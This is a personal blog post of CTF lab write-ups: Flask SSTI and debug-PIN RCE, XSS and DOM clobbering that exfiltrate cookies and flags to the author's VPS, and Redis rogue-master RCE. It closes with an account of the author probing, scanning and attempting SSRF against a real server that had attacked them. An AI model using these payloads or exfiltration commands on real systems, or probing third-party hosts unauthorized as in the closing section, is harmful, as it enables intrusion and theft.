mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
3972 字
11 分钟
ChaoMixian-WriteUp-20260301
2026-03-01

I can Read!#

Description#

Rumor has it that the admin page is broken and is being debugged on the internal network..

审计#

代码不到40行,有两个flask。main监听5000端口,/路由有SSTI;8000端口有个/keygen,但开了Debug,可以触发报错。

@app.route('/keygen/<path:string>')
def keygen(string):
n = len(string)-1
a = hashlib.md5(string.encode('utf-8'))
return str(hex(int(int(a.hexdigest(),16)/n)))

这里只要传入一个字符,比如/a,n就等于0,会触发ZeroDivisionError

附件缺少run.sh,直接开靶机吧

解题#

5000端口的SSTI确实可用,但读不了/flag,权限不足。怀疑admin是root权限。 ssti rce

读一下run.sh,payload:

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /run.sh').read()}}
#!/bin/sh
su - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"
python3 /var/www/admin/app.py

试试看admin的flask debugger:

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://localhost:8000/keygen/test').read()}}

debugger

那么思路很清晰,要计算flask的debug pin。先收集信息:

cat /sys/class/net/eth0/address
aa:fc:00:02:1c:01
cat /proc/sys/kernel/random/boot_id
3dee9a2d-9d64-45dd-aec8-b6b51ecc4728
cat /proc/self/cgroup
# 取第一行字符串
0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da

其他信息是已知的:

probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]

翻出之前留着的计算脚本,我忘记是哪篇博客抄来的,链接先不放了..

import hashlib
from itertools import chain
def mac_10():
"""
/sys/class/net/eth0/address mac地址十进制
:return:
"""
mac_address = "aa:fc:00:02:1c:01"
# 将MAC地址视为一个十六进制数(去掉冒号)
value = int(mac_address.replace(":", ""), 16)
return str(value)
probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]
machine_id = ''
boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728'
c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da'
id = ''
if machine_id:
id += machine_id.strip()
else:
id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]
private_bits = [
mac_10(), # mac地址
id #machin-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
# 273-621-736

然后就是和普通题目稍微不太一样的地方了,这个debugger只能拿到html,没法直接用浏览器来操作。这里研究了一下,写了个python脚本:

import urllib.request as r, urllib.parse as p, re
try: r.urlopen("http://127.0.0.1:8000/keygen/a")
except Exception as e: h = e.read().decode()
s = re.search('SECRET = "(.*?)";', h).group(1)
# SECRET = "H4JJYUB2zmXDJEmvr08M"
f = re.search('id="frame-(.*?)"', h).group(1)
# id="frame-140589298894208"
print("S:"+s+" F:"+f)
pin = '273-621-736'
q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin="+pin+"&s="+s)
res = r.urlopen(q)
print("Auth OK with " + pin)
c = res.getheader('Set-Cookie')
if not c: c = res.getheader('set-cookie')
cmd = p.quote("__import__('os').popen('cat /flag').read()")
q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd="+cmd+"&frm="+f+"&s="+s)
q2.add_header("Cookie", c)
print(r.urlopen(q2).read().decode())

用base64先上传到/tmp/exp.py,然后再python3 /tmp/exp.py,OK出了。

curl -H "X-Proxy-Target: http://127.0.0.1:8000/" http://host3.dreamhack.games:14857

flag

复盘#

其实我想打内存马,增加一个/proxy路由,直接复用5000端口作为http代理,不过没打通,靶机到期了…先留着,这个得学的。

easyxss#

审计#

router.get('/', (req, res) => {
const blog = req.query.blog || 'https://pocas.kr';
const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
const url = parse(user['setblog'], true)
, hostname = url.hostname;
if ((hostname === 'web-noob.kr' && user['username'] === 'hello') || (hostname === 'web-noob.kr' && username === 'world')) {
console.log(1)
res.render('index', {url:url});
} else {
res.render('index', {url:'#'});
}
});

XSS出现在/路由上,注意到两个点:1. Json是拼接而成的,可能存在双引号破坏结构;2. if那行第一个用户名判断使用了user['username'] === 'hello'),第二个使用了username === 'world'。如果还有一点,那就是url.hostname可以指定任意协议头。

解题#

首先尝试本地XSS,结合上述几点,使用这个Payload:

/?blog=http://web-noob.kr/", "username":"hello

jump 发现真的跳转到http://web-noob.kr/了。同理的,如果使用javascript://web-noob.kr/就可以在目标地点执行任意Js了(其实也不是)。

首先尝试最普通的也是最常见的返回base64编码网页,不过失败了

javascript://web-noob.kr/%0afetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))", "username":"hello
javascript://web-noob.kr/\nfetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+encodeURIComponent(btoa(t))))", "username":"hello

js根本没有执行,因为本地测试下来网页都没有跳转。

仔细分析了一下,又在console里测试了一下,怀疑是EJS转义<、>、'、"、&导致的。于是上网搜索不使用这些特殊符号的payload,找到了几种,也确实是都可用的。

0. 替代箭头函数#

既然大于号无法使用,那可以使用旧的js语法,把r=>r.text()还原为传统的匿名函数function(r){return r.text()}。这个是接下来两点都需要做的。

1. 使用ES6模板字符串(反引号)#

反引号是比较特别,它不会被转义,用法也很简单,把单引号换成反引号,把要带出的东西用${}模板包裹就可以。

javascript://web-noob.kr/%250afetch(`/flag`).then(function(r){return r.text()}).then(function(t){location.href=`http://120.26.146.96:8080/?c=${btoa(t)}`})", "username":"hello

2. String.fromCharCode构造字符串#

嗯这个傻傻的,但真的很有用…

javascript://web-noob.kr/%250afetch(String.fromCharCode(47,102,108,97,103)).then(function(r){return r.text()}).then(function(t){location.href=String.fromCharCode(104,116,116,112,58,47,47,49,50,48,46,50,54,46,49,52,54,46,57,54,58,56,48,56,48,47,63,99,61).concat(btoa(t))})", "username":"hello

3. 使用 Base64#

这个是看别人的WP发现的,诶,还真是。

javascript://web-noob.kr/%250aeval(atob(%27ZmV0Y2goJy9mbGFnJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgnaHR0cDovLzEyMC4yNi4xNDYuOTY6ODA4MC8/Yz0nK2J0b2EodCkpKQ%27))%22,%22username%22:%22hello

Base64的内容是

fetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))

cors 不过这个Payload非常奇怪,我本地XSS不行(Chrome 版本 145.0.7632.117(正式版本) (arm64)),会触发CORS,远端居然可以?

xss flag

Guest book v0.2#

Description#

This is a guestbook service being developed in php.

There is a writing function and a report function that allows the administrator to check the address where the error occurred.

The flag is included in the administrator’s cookie.

Code has been added to defend against vulnerabilities found in version 0.1.

This challenge is related to RPO and DOM Clobbering.

审计#

附件只给了utils.php

<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
PreventXSS($content);
return $content;
}
$ALLOW_TAGS_ATTRS = array(
"html"=>['id', 'name'],
"body"=>['id', 'name'],
"a"=>['id','href','name'],
"p"=>['id', 'name'],
);
function PreventXSS($input){
global $ALLOW_TAGS_ATTRS;
$htmldoc = new DOMDocument();
$htmldoc->loadHTML($input);
$tags = $htmldoc->getElementsByTagName("*");
foreach ($tags as $tag) {
if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction();
$allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)];
foreach($tag->attributes as $attr){
if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction();
}
}
}
function DisallowAction(){
die("no hack");
}
?>

实在没看出来啥,丢给AI说是单引号可以用来闭合用户输入…有点懵,先开靶机了。

解题#

  • /GuestBook.php可以留言,不过好像不是储存形的。
  • /Report.php可以让bot访问指定网页(http://127.0.0.1/开头)

注意到题目给的提示:This challenge is related to RPO and DOM Clobbering.

RPO#

搜索了一下RPO(Relative Path Overwrite),那么就要去找有什么东西是相对变量引用的,只发现了这个:

<script src="config.js"></script>
<script>
if(window.CONFIG && window.CONFIG.debug){
location.href = window.CONFIG.main;
}
</script>

查找config.js

window.CONFIG = {
version: "v0.2",
main: "/",
debug: false,
debugMSG: ""
}
// prevent overwrite
Object.freeze(window.CONFIG);

既然需要DOM Clobbering,那这个Object.freeze(window.CONFIG);肯定是需要清除的。结合提示的RPO,只需要稍稍改变一下url就可以绕过config.js的加载。

如果访问/GuestBook.php,那么就会加载当前目录(/)下的config.json;但如果访问/GuestBook.php/,那么就会尝试加载/GuestBook.php/config.js,当然返回的html,绕过了DOM覆写保护。

DOOM Clobbering#

function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
PreventXSS($content);
return $content;
}

注意这个流程,先htmlentities,再preg_replace,最后才PreventXSS。也就是说,[text](PAYLOAD)会直接正则替换为<a href='PAYLOAD'>text</a>,PAYLOAD里的单引号可以用来闭合href的前一个单引号。

目标是让满足下面这两个条件,并且让window.CONFIG.main指向XSS(javascript://…)

if(window.CONFIG && window.CONFIG.debug){
location.href = window.CONFIG.main;
}

构造以下payload:

[a](#' id='CONFIG' name='debug)
[b](javascript:location.href="http://120.26.146.96:8080/?c="+document.cookie;' id='CONFIG' name='main)

这会生成以下HTML:

<a href='#' id='CONFIG' name='debug'>a</a>
<a href='javascript:location.href=&quot;http://120.26.146.96:8080/?c=&quot;+document.cookie;' id='CONFIG' name='main'>b</a>

第一行让window.CONFIG && window.CONFIG.debug满足(js魅力时刻,存在即true),第二行修改window.CONFIG.main指向这个<a>标签。当执行location.href = window.CONFIG.main;的时候,会自动调用<a> 标签的 toString()。完成跳转XSS。

最终Payload:

GuestBook.php/?content=%5Ba%5D%28%23%27+id%3D%27CONFIG%27+name%3D%27debug%29%0D%0A%5Bb%5D%28javascript%3Alocation.href%3D%22http%3A%2F%2F120.26.146.96%3A8080%2F%3Fc%3D%22%2Bdocument.cookie%3B%27+id%3D%27CONFIG%27+name%3D%27main%29

flag

卧槽%00截断+onfocus#

翻其他人的WP发现了这个东西!%00截断+onfocus

/GuestBook.php?content=%5B.%5D%28x%27+name%3D%00+onfocus%3D%27window.location%3D`http%3A%2F%2F120.26.146.96%3A8080%3Fdata%3D%60%2Bdocument.cookie%27++id%3D%00+autofocus+%27%29

URL Decode后大概是(%00是空字符,还是看图吧):

[.](x' name=%00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=%00 autofocus ')

正则替换后是:

<a href='x' name=\x00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=\x00 autofocus ''>.</a>

\x00会截断PreventXSS的检查,到<a href='x' name=就停下了。

当页面加载完后,直接autofocus到这个<a>标签,并且触发onfocus事件完成XSS。tql

node_api#

Description#

Reference

challenge for advanced web hacker!

This challenge is related to Session manipulation in Redis.

审计#

代码不是很长,直接贴上来了(附件又不完整。。) main.js

const FLAG = function() {
try {
return require('fs').readFileSync('flag.txt').toString();
} catch (err) {
return 'DH{*****}';
}
}()
const express = require('express');
const session = require('express-session');
const app = express();
const redis = require('redis');
const redis_client = redis.createClient();
const connectRedis = require('connect-redis');
const RedisStore = connectRedis(session);
const sess = {
resave: false,
secret: 'dreamhack',
store: new RedisStore({
client: redis_client
}),
};
const db = {
'guest': 'guest',
'dreamhack': '1234',
'ADMIN': 'this_is_admin?'
}
function login(user) {
return user.userpw && db[user.userid] == user.userpw;
}
app.use(session(sess));
redis_client.set('log_info', 'KEY: "log_" + new Date().getTime(), VALUE: userid');
app.get('/show_logs', function(req, res) {
// var log_query=get/log_info
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}
try {
redis_client.send_command(log_query[0], log_query[1], function(err, result) {
if (err) {
res.send('ERR');
} else {
res.send(result);
}
})
} catch (err) {
res.send('try /show_logs?log_query=get/log_info')
}
});
app.get('/login', function(req, res) {
redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
if (login(req.query)) {
req.session.userid = req.query.userid;
res.send('<script>alert("login!");history.go(-1);</script>');
} else {
res.send('<script>alert("login failed!");history.go(-1);</script>');
}
});
app.get('/flag', function(req, res) {
if (req.session.userid === "admin") {
res.send(FLAG)
} else {
res.send('hello ' + req.session.userid);
}
});
app.get('/', function(req, res) {
// Todo
// res.render(...)
res.send('hello ' + req.session.userid);
});
app.listen(8000, '0.0.0.0');

package.json

{
"name": "node_api",
"version": "1.0.0",
"description": "node_api",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"connect-redis": "^4.0.4",
"express": "^4.17.1",
"express-session": "^1.17.0",
"redis": "^3.0.2"
}
}

看了一遍,又是catch错误没有处理:

var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}

解题1#

诶不对,这题怎么感觉做过了,是数组报错绕过吧??搜索了一下卧槽这不就是之前做的phpythonode的node部分嘛。。。

先访问/cookies%3AxZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g.w5ReVUq30PS7E8a68VDpHb0NXKEOpPehxx%2BATnkOM4g

这里的Session ID就是xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g

我们需要将 Session 数据设置为:

{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

payload就是:

GET /show_logs?log_query[0]=set&log_query[1][0]=sess:xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

返回OK,然后请求/flag,拿到flag:

DH{c5adc4033f8b685d84d56423082f21ac}

flag 啊这。。。那是不是还有python_apiphp_api

解题2#

之前做phpythonode那题时,做过redis写马了,但这题只有node环境,写马应该不行。现在我有两个思路:

  1. 修改main.js,直接返回flag.txt。不过nodejs并不会自动重新加载,这条路不通。
  2. 如果靶机出网,考虑Redis主从复制RCE,上传.so用户函数。

试一下主从复制吧:

GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=8080

vps上nc -lvp 8080 network 卧槽真的出网!!OK Already connected to specified master

诶我vps上刚好有redis-rogue-server上次长城杯初赛hjppx没做出来痛定思痛

这里需要注意的是,redis默认工作目录在/app,这里redis用户没有权限写入。

GET /show_logs?log_query[0]=config&log_query[1][]=get&log_query[1][]=dir
["dir","/app"]

查询Redis版本,说是<=5.0.5可用,但实测5.0.7也可以。这里用的是:https://github.com/Dliv3/redis-rogue-server,是n0b0dyCN的同名仓库的fork,方便SSRF。

GET /show_logs?log_query[0]=info&log_query[1][]=server
# Server redis_version:5.0.7 redis_git_sha1:bed89672 redis_git_dirty:0 redis_build_id:575dc7b6da705497 redis_mode:standalone os:Linux 4.19.234 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:9.2.0 process_id:3 run_id:4ff5434ac0f35e1330f9c2451b65b73e0f9fc331 tcp_port:6379 uptime_in_seconds:2293 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:10566738 executable:/app/redis-server config_file:

开始主从复制RCE:

# 设置目录到可写的/tmp
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
# 设置备份文件名
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=exp.so
# 连接redis-rogue-server
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=21000

rogue

# 加载exp.so
GET /show_logs?log_query[0]=module&log_query[1][0]=load&log_query[1][1]=/tmp/exp.so
# 切断主从连接
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=no&log_query[1][1]=one
# RCE~
GET /show_logs?log_query[0]=system.exec&log_query[1][0]=cat%20/app/flag.txt

rce

[题外话] SSRF via Agent(VPS 应急响应#

0x00: 打我干嘛qwq#

我的VPS被打了,一看sshd日志,全是登录尝试。不过有几个IP吸引了我的注意,它们使用了chaomixian作为用户名尝试登录,这是有目的的啊,而且这样的记录有6049条!

那就拉一条最新的(2026-02-28 21:03)幸运儿61.169.28.178来分析一下。

0x01: 信息收集#

fscan先上手做初步的信息收集,可以看到,资产还是不少的: fscan

顺藤摸瓜先来到http://61.169.28.178:8000,网页Title是Deeplumen,我马上想到了《人生切割术》😂。

deeplumen

上网搜索一下,发现一篇水文。但无论怎么看,这个都像是山寨的。我更愿意相信deeplumen.io是真的,这个是假的。

对着8000端口扫一下dirsearch,结果还算丰富。 dirsearch 快速做一下fuzz,发现访问/assets/路由,会进入一个加载不太正常的网页: assets available 按钮乱点一通,发现ai真的有响应。这说明有戏啊。把混淆过的js扔给Gemini分析,获得以下api。

0x02: 你好,外卖🥡#

请求方式接口路径功能描述请求参数 / Body
POST/public/ecommerce/api/generate触发 AI 生成内容(支持流式 SSE 和非流式){"productId": "...", "model": "...", "copyType": "...", "stream": true/false}
GET/public/ecommerce/api/products获取所有商品列表数据
GET/public/ecommerce/api/models获取系统支持的 AI 引擎模型列表(如 GPT-4o 等)

请求方式接口路径功能描述请求参数 / Body
POST/public/ecommerce/api/pipelines/category创建一个新的品类监测任务{"category": "空调"}
GET/public/ecommerce/api/pipelines/category/:id轮询/获取指定品类监测任务的详细状态和分析结果路径参数:id (任务ID)
GET/public/ecommerce/api/pipelines/category获取品类监测的历史任务列表(支持分页)Query参数:?page={page}&page_size={size}

请求方式接口路径功能描述请求参数 / Body
POST/public/ecommerce/api/pipelines/brand-duel创建一个新的品牌对抗任务{"brandA": "格力", "brandB": "美的", "category": "空调"}
GET/public/ecommerce/api/pipelines/brand-duel/:id轮询/获取指定品牌对抗任务的详细状态和对决结果路径参数:id (任务ID)
GET/public/ecommerce/api/pipelines/brand-duel获取品牌对抗的历史任务列表(支持分页)Query参数:?page={page}&page_size={size}

请求方式接口路径功能描述请求参数 / Body
GET/public/ecommerce/api/monitor/health检查 GPT 服务(浏览器自动化服务)的连接健康状态
POST/public/ecommerce/api/monitor/tasks发送对话任务(支持开启联网搜索功能){"targetUrl": "http://example.com", "message": "用请简要总结当前页面内容", "enable_search": true/false, "modelId":"gpt-4o"}
GET/public/ecommerce/api/monitor/tasks/:id轮询特定监控对话任务的状态、回答以及实时浏览器截图路径参数:id (任务ID) Query参数:?include_screenshot=true

在源码中,可以看到涉及长时间运行的任务(品类监测、品牌对抗、Monitor),前端均使用了短轮询(setTimeout 配合 GET 请求)来获取任务的进度。服务端返回的状态(status 字段)约定如下:

  • pending: 任务排队中
  • running: 任务运行中/查询中
  • analyzing: 正在进行 AI 分析总结
  • completed: 任务完成,附带 analysis_resultresponse 数据
  • failed: 任务失败,附带 error 信息
  • waiting_login / waiting_captcha: (特指Monitor模块)浏览器侧需要人工介入登录或过验证码

0x03: 隔壁老王#

好啊,那当然要试一试。

POST /public/ecommerce/api/monitor/tasks
{"targetUrl":"http://45.62.101.83:8000","modelId":"gpt-4o", "message": "详细描述你看到的页面", "enable_search": true}

api_post_tasks 我去未鉴权,再读一下看看。

/public/ecommerce/api/monitor/tasks/01KJJTEH83S9Q3Z94Y0VJH9C66
{
"id": "01KJJTEH83S9Q3Z94Y0VJH9C66",
"type": "chat",
"status": "pending",
"message": "详细描述你看到的页面",
"response": null,
"error": null,
"sources": null,
"user_id": "default",
"caller_user": null,
"created_at": "2026-02-28T19:08:48.769759",
"started_at": null,
"completed_at": null,
"screenshot": null,
"metadata": null
}

也是可以的。更重要的是,当statusrunning时,screenshot真的会不断以Base64形式更新截图。它居然是浏览器RPA访问ChatGPTapi_get_tasks base64 get_screenshot

马上让ai写了一个自动脚本,轮询获取截图,希望能获取一些有用信息 screenshot_script 可惜这个状态截图只能看见GPT界面,没有什么用。基本上只能截到这几个画面: chatgpt_clear_chat chatgpt_add_photos

这时候,我大概明白整套系统的工作流程了,实际上是包装了一下Dify Workflow

  1. 首先,用户输入网址,应该是准备分析的;
  2. 然后,开一个浏览器,访问TargetUrl并且截图;
  3. 接着,通过RPA发给ChatGPT总结网页信息;
  4. 最好,交给其他LLM完成数据整合。

什么鬼才想出来的…比较神奇的是,它使用的网页版ChatGPT没有登陆,每次使用重置一下环境,居然真的很稳定,极少出现需要登陆。

0x04: 是输入法(SSRF)#

这一部分文字不多,但尝试了非常久。这蠢蛋API居然是一条一条顺序执行的,一次性发了19条,等了好久好久..

那么怎么 SSRF 呢。嗯,提示词工程让 ChatGPT 尽可能详细得描述页面,然后它可能就会回复:

当前页面包含了关于广告展示、管理以及如何与我互动的一些说明。主要内容如下:\n广告展示:广告可能会出现在对话中,尤其是在免费的使用计划中,且这些广告与我的回答无关。\n广告管理:用户可以隐藏不相关的广告,调整广告设置或选择报告广告。\n用户隐私:我的回答不受广告影响,广告商无法访问用户对话内容或数据。\n账户设置:免费用户会看到广告,而企业和付费计划则不会。\n如果你有其他问题或想了解更多,可以告诉我!

尝试 file:// 协议头读文件 和 javascript:// 协议头进行 XSS,都没有成功…不够就算成功,也没什么高价值信息,都是容器…(端口开得相当狂野,根本没SSRF的必要..)

此处省略一大堆Payload尝试…蒜鸟蒜鸟

其他的API也看了一下,都没鉴权,但这也没什么意思。 api_get_category api_get_brand-duel api_get_products

测试 React4Shell,修了。然后当然是进一步注册登陆,看看有没有什么洞了。不过注册完,登不进去…果然IP访问还是不行的…

0x05: 该睡觉了#

这时候的思路是,找在线工具,用IP反查域名。不过一条记录也没有。。。突然想到,可以去看看注册时发验证码的邮箱地址啊,一看,是:

no-reply@notify.deeplumen.com

不过这个deeplumen.com及其子域名,一个都没活着。8000端口的网页里还有一个deeplumen.ai,同样是死了。不过上网一搜,居然找到一个deeplumen.cn,443端口是个Wordpress,里面全是AI水文,icon是真的deeplumen的,但像素很低,而且像是截图,嗯对了,对味了,大概率就是这个了。(为了假冒deeplumen,还真是费尽心思)

fake_deeplumen

目标当然不是这个Wordpress(47.110.83.239),但是可以信息收集一下嘛🤣。找到第一篇文章,发现有用户Harry评论。尝试用该用户名登陆Wordpress后台,提示用户名正确但密码错误。

接着去搜索deeplumen.cn的子域名,共搜索到(这个工具很好用):

mvp.deeplumen.cn (89.208.244.19)
www.deeplumen.cn (47.110.83.239)
blog.deeplumen.cn (61.169.28.178)
calendar.deeplumen.cn (47.110.83.239)
log.deeplumen.cn (47.110.83.239)
network.deeplumen.cn (61.169.28.17)

诶,诶,IP对上了!而且log.deeplumen.cn:443mvp.deeplumen.cn:443以及61.169.28.178:8000一模一样,连API都是一样的。不过经过测试,SSRF的来源地址都是61.169.28.178,应该是共用一个后端,反向代理到logmvp站。(API数据互通,但Web数据不互通)

注册log.deeplumen.cn并登陆,我终于理解这一切(雾) dashboard analysis

那么还有一个IP(89.208.244.19),nmap一下,woc,原来这才是真正的API,怪不得叫mvp! nmap_again

这才相当当时发验证码的邮件下方的链接是localhost3000! verify-email (别盒了,临时邮箱qwq)

那么可以这样推测整个系统架构:

  • 47.110.83.239:面向用户的服务器(虽然还没上线的样子)
  • 89.208.244.19:开发时使用,承载业务AI分析相关API
  • 61.169.28.178:有魔法环境,负责对接 ChatGPT 等服务

0x06: 还有呢#

杭州星图灵知智能科技有限公司,你服务器成肉鸡了知不知道,还招人呢,哥,别打我了,小水管撑不住😭 jobs

还有这套代码曾经叫GEOK应该是你吧还有这玩意真能骗到钱吗?

0x07: 题外话#

什么草台班子搞的东西,估计还有洞,要么是之前React4Shell被上线了没发现,不然打我vps干嘛…刚登上vps一看,已经被fail2ban给ban了。但还是非常蹊跷,这个IP尝试登录了我的两台VPS,而且都是知道用户名chaomixian,总计6000多次尝试,500多个IP,来自全球各地,大部分是中国。无语住了,这他妈的是被谁盯上了吧。留着钱吃吃喝喝,打我干嘛qwq。

IP 地址尝试次数地理位置 / 运营商
43.135.130.196494阿里云
100.42.181.193376-
41.186.188.77350南非
121.37.30.1298中国
118.219.255.16976中国
190.102.41.23274中国
162.240.61.3970美国
160.191.89.11870荷兰
62.60.135.9968德国
171.244.62.760美国
92.118.39.8456荷兰

这些IP每个扫过去,都像是被控了的肉鸡,不少直接能看到webshell(2222端口、222端口比较多)。真蚌埠住了。

不过,这些指定了chaomixian作为用户名的攻击,第一次从2025-07-11开始,打了他妈的 8个月了 !!如果计算所有的攻击次数,累计有 747,525 次,平均每30s就要被爆破一次,274 MB的日志不是开玩笑的😵

已关闭密码登陆.jpg

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260301
https://blog.chaomixian.top/posts/chaomixian-writeup-20260301/
作者
炒米线
发布于
2026-03-01
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录